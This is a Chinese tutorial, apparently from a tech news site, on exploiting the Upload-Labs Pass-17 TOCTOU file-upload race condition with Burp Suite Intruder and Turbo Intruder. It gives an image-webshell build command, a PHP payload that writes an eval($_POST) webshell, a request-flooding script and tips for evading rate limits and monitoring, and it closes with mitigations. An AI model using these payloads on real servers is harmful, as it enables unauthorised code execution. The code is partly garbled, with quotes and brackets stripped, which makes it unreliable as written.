资讯中心

利用Burp Suite Intruder进行TOCTOU时间差攻击实战解析

📅 2026/7/30 2:17:54
利用Burp Suite Intruder进行TOCTOU时间差攻击实战解析
1. 项目概述一次关于“时间差”的攻防演练最近在复现和教学文件上传漏洞时我重新审视了Upload-Labs这个经典的靶场。当做到Pass-17时我发现很多朋友包括一些有一定经验的安全爱好者对其中涉及的“时间差”攻击原理理解得不够透彻往往只是照着网上的Payload“跑一遍”知其然而不知其所以然。这个关卡的设计非常精妙它模拟了一种在真实开发中可能出现的、基于服务器端检查逻辑顺序的漏洞。今天我就结合Burp Suite的Intruder模块带大家从头到尾拆解一遍Pass-17不仅告诉你“怎么做”更重点剖析“为什么能这么做”以及在这种特定场景下Intruder如何成为我们的“时间武器”。简单来说Pass-17考察的是“条件竞争”漏洞的一个子类——时间差攻击Time-of-Check to Time-of-Use TOCTOU。它的场景是这样的服务器先检查了你上传文件的扩展名比如不允许.php如果通过它会把文件临时移动到某个目录然后再对这个“已经移动过去”的文件进行二次内容检查例如检查文件头。这中间存在一个极短的时间窗口。我们的攻击目标就是利用这个窗口在服务器完成最终检查前访问并执行我们上传的恶意文件。而Burp Suite Intruder在这里的角色就是通过高并发请求极大地提高我们“撞上”这个时间窗口的概率。这适合所有正在学习Web安全、想深入理解逻辑漏洞而非单纯工具操作的朋友。即使你对Burp Suite只有基础了解跟着本文的思路你也能清晰地掌握从漏洞原理分析到工具策略配置再到最终利用的完整链条。你会发现真正的渗透测试工具只是手臂思考才是大脑。2. 核心漏洞原理TOCTOU与服务器检查逻辑的“缝隙”在深入实操之前我们必须把Pass-17背后的原理吃透。这关系到我们后续每一步操作的设计是否合理有效。2.1 什么是TOCTOU时间差攻击TOCTOU是操作系统和软件安全中的一个经典问题。它的核心矛盾在于系统检查某个条件的状态Time-of-Check和使用该检查结果Time-of-Use这两个动作不是原子性的中间存在时间间隔。在这个间隔内条件的状态可能被改变从而导致系统基于过时、无效的检查结果做出决策引发安全漏洞。一个生活化的类比你去银行柜台取一大笔钱柜员需要去金库清点Check。清点时他确认金库里有足够的现金。但在他把现金从金库拿到柜台Use的这段路上另一个内部人员瞬间转移走了部分现金。柜员基于“清点时”的状态把实际上已经不足额的现金交给了你导致了银行的损失。这里的“清点”和“交付”之间的时间差就是漏洞所在。2.2 Pass-17的服务器端模拟逻辑Upload-Labs的Pass-17源码通常是一个PHP文件模拟了以下有缺陷的逻辑第一次检查Check-1扩展名检查服务器接收到上传请求后首先检查文件扩展名。例如它会判断文件名是否以.php、.phtml等危险后缀结尾。如果发现是黑名单内的扩展名直接拒绝并返回错误。文件移动如果扩展名检查通过比如你上传了一个.jpg文件服务器会执行move_uploaded_file()函数将临时上传的文件移动到指定的目标目录例如upload/。关键在于到这一步文件在服务器上已经实际存在了。第二次检查Check-2内容检查文件移动完成后服务器再对这个已经存在于目标目录的文件进行内容检查。比如用getimagesize()函数读取文件头判断它是否是一个真实的图片。如果不是则删除这个文件。漏洞窗口从步骤2完成到步骤3开始并执行完毕存在一个时间差。虽然这个时间差极短可能只有几毫秒到几十毫秒但它确实存在。如果我们在文件被删除前成功访问了它的URL那么其中的PHP代码就会被服务器解析执行。注意很多初学者混淆了一点以为是要在服务器“检查”的瞬间“替换”文件。实际上我们上传的就是一个“伪装”的文件如图片马它一次性通过了扩展名检查。漏洞利用的焦点在于在它因内容检查不合格而被删除前抢跑访问它。2.3 我们的攻击策略设计基于以上原理我们的攻击链非常清晰制作Payload创建一个包含PHP代码的图片马例如在JPEG文件末尾添加将其后缀名改为.jpg以通过第一关扩展名检查。发起上传将这个图片马上传到靶场。暴力访问在服务器执行move_uploaded_file()之后、内容检查删除文件之前以极高的频率并发请求这个上传文件的预期URL。利用成功只要有一次访问请求“挤”进了那个时间窗口我们的PHP代码就会被执行。通常我们会让代码返回一个可见的结果比如在页面上输出一个字符串或者更实际地写入一个完整的Webshell到服务器。那么如何实现高频率的并发访问呢手动刷新浏览器显然不现实。这就需要请出我们今天的主角Burp Suite Intruder的“Pitchfork”和“Turbo Intruder”模式。3. 环境准备与Payload制作工欲善其事必先利其器。在启动Burp Suite之前我们需要把靶场和攻击文件准备好。3.1 靶场环境搭建Upload-Labs的搭建非常简单这里简述一下要点从GitHub下载Upload-Labs源码。将其放置在你的PHP集成环境根目录下如PHPStudy的WWW目录XAMPP的htdocs目录。确保你的PHP版本在5.x或7.x避免使用过高的8.x版本可能语法不兼容。Pass-17关卡通常需要修改一些配置来“开启”请根据靶场内的提示或源码注释操作通常是设置一个$is_upload的逻辑开关。在浏览器中访问http://localhost/upload-labs/即可。确保你能正常看到前16关并找到Pass-17的入口。3.2 制作高兼容性的图片马图片马的成功率取决于其能否通过getimagesize()这类函数的检查。一个健壮的图片马应该只破坏最少的图片数据。方法一命令行合成推荐最干净在Linux或Windows安装Git Bash或使用CMD下使用copy命令copy /b normal.jpg shell.php webshell.jpg这条命令会将shell.php的二进制内容追加到normal.jpg的末尾。normal.jpg是一张完全正常的图片。这样制作出来的文件文件头依然是标准的JPEG格式getimagesize()可以正常识别其尺寸和类型但服务器在解析时如果将其当作PHP执行则会忽略前面的图片二进制数据直接执行末尾的PHP代码。方法二文本编辑器编辑用Notepad等编辑器打开一张正常图片滚动到最底部在最后一个字节后换行写入你的PHP代码。这种方法有时会因编码问题引入BOM头可能导致图片损坏不如命令行方法可靠。PHP Payload设计 对于时间差攻击我们的Payload需要满足两个条件1) 快速执行2) 结果明显。因此不适合使用需要POST参数的复杂一句话木马。?php file_put_contents(shell.php, ?php eval($_POST[cmd]);?); echo Hacked!; ?这个Payload的作用是一旦被执行会在当前目录即上传目录下写入一个真正的、持久化的Webshell文件shell.php。这样即使我们上传的原始图片马被删除这个shell.php也会保留下来。echo ‘Hacked!’是为了在响应中立即看到成功提示。实操心得在真实渗透测试中为了避免被监控发现这个Payload可以更隐蔽比如将Webshell内容进行Base64编码后再写入或者写入到更隐蔽的路径。但在靶场练习中以直观和成功为首要目标。4. Burp Suite Intruder 配置详解这是本次演练的核心环节。我们将使用Intruder的两种模式协同工作。4.1 步骤一捕获上传请求并设置Payload位置浏览器配置好代理127.0.0.1:8080并安装Burp的CA证书。访问Upload-Labs Pass-17页面选择制作好的webshell.jpg文件点击上传。在Burp Suite的Proxy - HTTP history中找到这个POST上传请求右键发送到Intruder快捷键CtrlI。进入Intruder的Positions标签页。这里我们使用“Pitchfork”模式。为什么是Pitchfork因为它允许我们为多个变量设置不同的Payload列表并且这些Payload会成对地进行组合。在这个场景下我们需要两个变量同步变化。清除所有自动标记的变量然后手动标记以下两个位置文件内容在HTTP请求体body中找到表示文件内容的那个部分通常是一长串乱码是图片的十六进制数据。我们需要用不同的Payload来替换它以增加请求的“差异性”有些服务器可能会对完全相同的请求做短时间内的去重处理。文件名在Content-Disposition行中的filename参数值即filename”webshell.jpg”。我们需要将其修改为预期的上传后的文件名但这里我们先标记Payload设置时会解释。你的请求大概会像这样部分省略POST /upload-labs/Pass-17/index.php HTTP/1.1 ... Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameupload_file; filename§webshell.jpg§ Content-Type: image/jpeg §图片马的二进制数据§ ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namesubmit 提交 ------WebKitFormBoundaryABC123--注意两个§符号标记的位置。4.2 步骤二配置Payloads这是最关键的一步我们需要为两个标记位置设置合适的Payload。Payload Set 1 (对应文件内容标记):Payload Type: “Runtime file”。这是我们制造“差异性”的关键。你需要提前准备一个文本文件如payload1.txt里面包含几行不同的图片马的Base64编码或Hex字符串。如何获得你可以用同一个图片马在末尾轻微修改一下注释或者用脚本生成几个内容稍有差异但功能相同的图片马然后分别读取其二进制并编码。这样做的目的是让每次Intruder发出的上传请求其文件内容部分都不完全相同模拟多个不同用户在上传略微不同的图片降低被简单WAF或应用层防火墙拦截的概率。Payload Set 2 (对应文件名标记):Payload Type: “Simple list”。在Payload Options中添加一个条目webshell.jpg。是的只用一个。为什么因为我们的目标是让同一个文件被反复上传。在TOCTOU攻击中我们不需要尝试不同文件名我们需要的是对同一个预期路径进行高并发访问。文件名固定我们才能知道要去访问哪个URL。4.3 步骤三配置攻击引擎Resource Pool在Intruder的Resource Pool选项下创建一个新的资源池或者修改默认池的设置Number of threads: 设置为50-100。这个数字非常激进它表示同时有50-100个线程在发送上传请求。这是为了最大化我们“挤占”那个时间窗口的机会。设置过高可能导致本地或靶机资源耗尽需要根据实际情况调整。Throttle: 不要设置延迟。我们的目标就是“狂轰滥炸”所以取消任何Delay between requests的勾选。4.4 步骤四启动攻击与初步观察点击Start attack按钮Intruder会弹出一个新窗口开始以高并发方式重复发送我们标记好的上传请求。此时你会在攻击结果窗口看到大量请求和响应。重点观察响应状态码、长度和内容状态码通常都是200表示上传请求本身被服务器接收和处理了。响应长度和内容大多数响应可能显示“文件上传成功”之类的提示因为扩展名检查通过了但随后服务器后台线程会删除它。我们的目标不是在这里找成功而是通过这个高并发过程让服务器端不断有文件处于那个“已移动未检查”的脆弱状态。重要这个Intruder攻击窗口不要关闭让它一直运行。我们的目的是持续“污染”服务器的处理队列。5. 利用Turbo Intruder进行高并发访问现在服务器端可能已经堆积了一些“待检查”的图片马文件。我们需要另一个工具以更高的效率去访问这些文件。Burp Suite专业版的“Turbo Intruder”扩展社区版需手动安装是绝佳选择它比普通Intruder更高效更适合这种纯请求响应的洪水攻击。5.1 步骤一捕获访问请求在浏览器中手动构造一个访问上传文件的URL。例如如果你的上传目录是upload那么访问的URL可能是http://localhost/upload-labs/upload/webshell.jpg。此时因为文件很可能已被删除你会看到404 Not Found。没关系在Burp的HTTP history中找到这个GET请求。在这个GET请求上右键选择Extensions-Turbo Intruder-Send to turbo intruder。5.2 步骤二配置Turbo Intruder脚本Turbo Intruder使用Python脚本控制攻击。它会提供一个基础模板我们需要进行关键修改。def queueRequests(target, wordlists): engine RequestEngine(endpointtarget.endpoint, concurrentConnections50, # 并发连接数可以设得更高如100 requestsPerConnection100, # 每个连接发送的请求数 pipelineFalse ) # 这是我们要重复发送的请求 request GET /upload-labs/upload/webshell.jpg HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0... Accept: text/html... ... 其他头部信息保持原样即可 # 关键以极快的速度持续发送这个GET请求 for i in range(10000): # 发送请求的次数可以设置一个很大的数 engine.queue(request) def handleResponse(req, interesting): # 处理响应这里我们只关注响应中包含我们成功标志的请求 if ‘Hacked!’ in req.response: # 如果响应体里有我们Payload中echo的‘Hacked!’ table.add(req) # 你也可以根据状态码不是404或响应长度发生变化来判断 elif req.status ! 404: table.add(req)脚本要点解析concurrentConnections: 并发连接数与Intruder的线程类似但效率更高。可以设置为100甚至更高。requestsPerConnection: 每个HTTP长连接上发送的请求数启用HTTP Keep-Alive可以极大提升速度。engine.queue(request): 将请求放入发送队列。我们用一个超大循环来持续发送。handleResponse: 回调函数。我们在这里过滤结果。一旦发现响应中包含我们Payload里写的Hacked!字符串或者状态码不是404可能是200表示文件存在并被解析就将这个请求标记为“有趣”并显示在结果表格中。5.3 步骤三发动总攻与结果判定确保第一个Intruder攻击上传攻击仍在运行。点击Turbo Intruder窗口的Attack按钮。它会开始以极高的频率请求webshell.jpg。观察Turbo Intruder的结果窗口。如果攻击成功你会在很短时间内几秒到十几秒看到有请求被捕获到“Interesting”列表里。点开这个请求查看响应内容你应该能看到Hacked!的字样并且服务器上的upload目录下会多出一个shell.php文件。此时访问http://localhost/upload-labs/upload/shell.php并使用中国菜刀、蚁剑等工具连接POST参数cmdphpinfo();即可验证Webshell写入成功。6. 深度排查与高级技巧在实际操作中你可能会遇到各种问题。下面是一些常见的坑和进阶技巧。6.1 攻击失败的可能原因与排查问题现象可能原因排查思路与解决方案始终没有Hacked!响应全是404。1.时间窗口太短服务器检查删除速度极快。2.Payload问题图片马制作失败PHP代码未执行。3.路径错误访问的URL路径不对。1.增加并发压力同时开多个Burp Intruder/Turbo Intruder实例或使用集群化攻击脚本。2.验证Payload单独将图片马上传到一台已知会解析PHP的服务器直接访问看能否执行。3.确认路径查看Upload-Labs源码确认上传文件保存的具体路径和命名规则有时会重命名。Turbo Intruder很快停止没有发送大量请求。脚本配置问题如循环次数太少或目标服务器拒绝连接。1. 检查range循环值是否足够大如100000。2. 检查concurrentConnections是否过高导致本地端口耗尽可适当调低至50。3. 查看Turbo Intruder输出日志是否有连接错误。上传请求被靶场拦截返回错误。靶场可能有频率限制或简单的防重放机制。1. 在Intruder的Payload Set 1中确保文件内容Payload列表有足够的差异性。2. 在请求头中添加或随机化一些字段如X-Forwarded-For。3. 在请求间增加很小的随机延迟如10-50毫秒模拟真人操作。6.2 提升成功率的进阶技巧延长“时间窗口”如果靶场环境完全受控比如你自己搭建的测试环境可以尝试在源码的“移动文件”和“内容检查”之间人为插入一个sleep(1)或usleep(500000)函数让漏洞窗口从毫秒级扩大到秒级方便你理解攻击过程。这绝对是加深理解的神器。精准定位“触发点”使用Burp Suite的Logger扩展或类似工具监控服务器上目标文件的创建和删除事件。虽然这通常需要服务器端配合但在某些模拟环境中可以通过观察特定的HTTP请求序列来推断。组合工具除了Burp Suite可以编写Python脚本结合threading和requests库实现更灵活的上传和访问并发控制。脚本可以做到一个线程池专门负责上传另一个线程池专门负责访问并且共享一个队列上传成功一个文件名就立刻加入访问队列。针对真实环境的思考真实世界的TOCTOU漏洞可能更隐蔽。例如检查和使用之间可能隔着数据库读写、网络IO、调用其他微服务等。攻击思路不变但并发攻击的“点”需要更精确的判断。可能需要先通过代码审计或模糊测试找到那个关键的文件操作函数调用链。7. 防御方案与安全开发启示作为攻击者我们研究漏洞作为开发者或安全人员我们更应知道如何修复。Pass-17给我们上了一堂生动的安全编程课。根本解决方案消除时间差原子化操作将检查和使用合并为一个原子操作。在移动文件之前将文件内容读入内存或临时缓冲区进行检查。只有检查完全通过后才执行一次原子性的文件写入操作。在Linux下可以利用O_EXCL标志配合open()系统调用来创建文件确保文件不存在。先检查后移动且移动后使用不可变引用如果架构上必须移动后再处理那么在移动后应立即对文件进行最终检查并在检查通过前绝对不对外暴露该文件的访问路径或句柄。或者使用一个临时且不可预测的文件名直到所有检查通过后才将其重命名为最终名称。工程实践建议白名单校验文件上传功能应始终使用后缀名白名单并结合文件内容头检查如MIME类型。随机化文件名上传的文件应重命名为随机字符串如UUID避免被攻击者预测路径。文件存储隔离上传的文件不应存储在Web根目录下而应放在一个无法通过URL直接访问的目录。通过后端脚本如readfile()来代理访问和下载这样即使上传了恶意脚本也无法直接执行。设置严格的目录权限上传目录应禁止执行脚本例如在Nginx配置中针对上传目录设置location ~* \.(php|phtml)$ { deny all; }。理解并利用TOCTOU漏洞需要你对Web应用的处理流程有清晰的时序概念。这次用Burp Suite Intruder爆破Upload-Labs Pass-17的经历本质上是一次对服务器端逻辑的“压力测试”和“时序博弈”。它提醒我们在安全开发中任何非原子性的“检查-使用”序列都可能成为攻击面尤其是在高并发场景下。工具的使用并不复杂复杂的是对漏洞原理的深刻洞察和基于此设计出精巧的攻击链。当你手动调整并发参数、盯着响应结果、最终看到Hacked!跳出来那一刻你对“时间差”这三个字的理解一定会比读十篇理论文章都要深刻得多。